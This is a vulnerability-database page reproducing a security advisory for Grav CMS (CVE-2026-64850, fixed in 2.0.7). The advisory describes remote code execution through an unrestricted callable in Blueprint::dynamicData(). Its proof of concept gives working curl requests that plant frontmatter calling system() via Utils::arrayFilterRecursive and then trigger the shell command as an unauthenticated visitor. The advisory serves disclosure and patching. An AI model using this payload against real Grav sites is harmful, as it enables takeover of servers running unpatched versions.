GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-FJ2P-QJ2F-74V5

Vulnerability from github – Published: 2026-09-02 14:51 – Updated: 2026-09-02 14:51
VLAI
Summary
Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()
Details

Summary

An account with the admin.pages permission (or api.pages.write) can run shell commands on the server. The command executes whenever anyone — including an unauthenticated visitor — opens the page.

Details

Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426) passes a Class::method string and its arguments straight to call_user_func_array() with no allowlist. The form plugin runs page frontmatter through this path (form/classes/Form.php:432), so a page author controls the input. Grav\Common\Utils::arrayFilterRecursive($source,$fn) (system/src/Grav/Common/Utils.php:1169) is a public static that calls $fn($key,$value), so passing system as $fn and a command as the array key runs the command.

PoC

Placeholders: <BASE_URL> the site; <SESSION_COOKIE> an admin session cookie for an account with admin.pages; <ADMIN_NONCE> the admin-nonce on any admin page (window.GravAdmin.config.admin_nonce).

Save a "form" page whose field carries the callable directive:

curl '<BASE_URL>/admin/pages/rcepoc' \
  -H 'Cookie: <SESSION_COOKIE>' \
  --data-urlencode 'task=save' \
  --data-urlencode 'admin-nonce=<ADMIN_NONCE>' \
  --data-urlencode 'data[folder]=rcepoc' \
  --data-urlencode 'data[name]=form' \
  --data-urlencode 'data[title]=x' \
  --data-urlencode 'data[content]=hi' \
  --data-urlencode "data[frontmatter]=forms:
  x:
    fields:
      y:
        type: text
        data-opts@:
          - 'Grav\Common\Utils::arrayFilterRecursive'
          - { 'echo GRAV-RCE-OK; id': 'x' }
          - system"

Trigger it as an unauthenticated visitor:

curl '<BASE_URL>/rcepoc'

Success check: the GET response body begins with GRAV-RCE-OK followed by the web-server user's id output (a line starting uid=...) — the command ran during the unauthenticated request and its output is reflected in the response.

Impact

Shell command execution as the web-server user, triggered by any visit to the page, plantable by any holder of admin.pages or api.pages.write.

Trust boundary: crossed. admin.pages (or api.pages.write) grants page editing, not code execution; the holder plants the payload and the code runs at request time on any later view of the page.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-64850"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-02T14:51:18Z",
    "nvd_published_at": "2026-08-19T16:18:39Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn account with the `admin.pages` permission (or `api.pages.write`) can run shell\ncommands on the server. The command executes whenever anyone \u2014 including an\nunauthenticated visitor \u2014 opens the page.\n\n### Details\n`Blueprint::dynamicData()` (system/src/Grav/Common/Data/Blueprint.php:426) passes\na `Class::method` string and its arguments straight to `call_user_func_array()`\nwith no allowlist. The form plugin runs page frontmatter through this path\n(form/classes/Form.php:432), so a page author controls the input.\n`Grav\\Common\\Utils::arrayFilterRecursive($source,$fn)`\n(system/src/Grav/Common/Utils.php:1169) is a public static that calls\n`$fn($key,$value)`, so passing `system` as `$fn` and a command as the array key\nruns the command.\n\n### PoC\nPlaceholders: `\u003cBASE_URL\u003e` the site; `\u003cSESSION_COOKIE\u003e` an admin session cookie\nfor an account with `admin.pages`; `\u003cADMIN_NONCE\u003e` the `admin-nonce` on any admin\npage (`window.GravAdmin.config.admin_nonce`).\n\nSave a \"form\" page whose field carries the callable directive:\n\n    curl \u0027\u003cBASE_URL\u003e/admin/pages/rcepoc\u0027 \\\n      -H \u0027Cookie: \u003cSESSION_COOKIE\u003e\u0027 \\\n      --data-urlencode \u0027task=save\u0027 \\\n      --data-urlencode \u0027admin-nonce=\u003cADMIN_NONCE\u003e\u0027 \\\n      --data-urlencode \u0027data[folder]=rcepoc\u0027 \\\n      --data-urlencode \u0027data[name]=form\u0027 \\\n      --data-urlencode \u0027data[title]=x\u0027 \\\n      --data-urlencode \u0027data[content]=hi\u0027 \\\n      --data-urlencode \"data[frontmatter]=forms:\n      x:\n        fields:\n          y:\n            type: text\n            data-opts@:\n              - \u0027Grav\\Common\\Utils::arrayFilterRecursive\u0027\n              - { \u0027echo GRAV-RCE-OK; id\u0027: \u0027x\u0027 }\n              - system\"\n\nTrigger it as an unauthenticated visitor:\n\n    curl \u0027\u003cBASE_URL\u003e/rcepoc\u0027\n\nSuccess check: the GET response body begins with `GRAV-RCE-OK` followed by the\nweb-server user\u0027s `id` output (a line starting `uid=...`) \u2014 the command ran\nduring the unauthenticated request and its output is reflected in the response.\n\n\n### Impact\nShell command execution as the web-server user, triggered by any visit to the\npage, plantable by any holder of `admin.pages` or `api.pages.write`.\n\nTrust boundary: crossed. `admin.pages` (or `api.pages.write`) grants page\nediting, not code execution; the holder plants the payload and the code runs at\nrequest time on any later view of the page.",
  "id": "GHSA-fj2p-qj2f-74v5",
  "modified": "2026-09-02T14:51:18Z",
  "published": "2026-09-02T14:51:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64850"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/acffa34cbb0787fee87c609e0d6289e904fee33c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/releases/tag/2.0.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…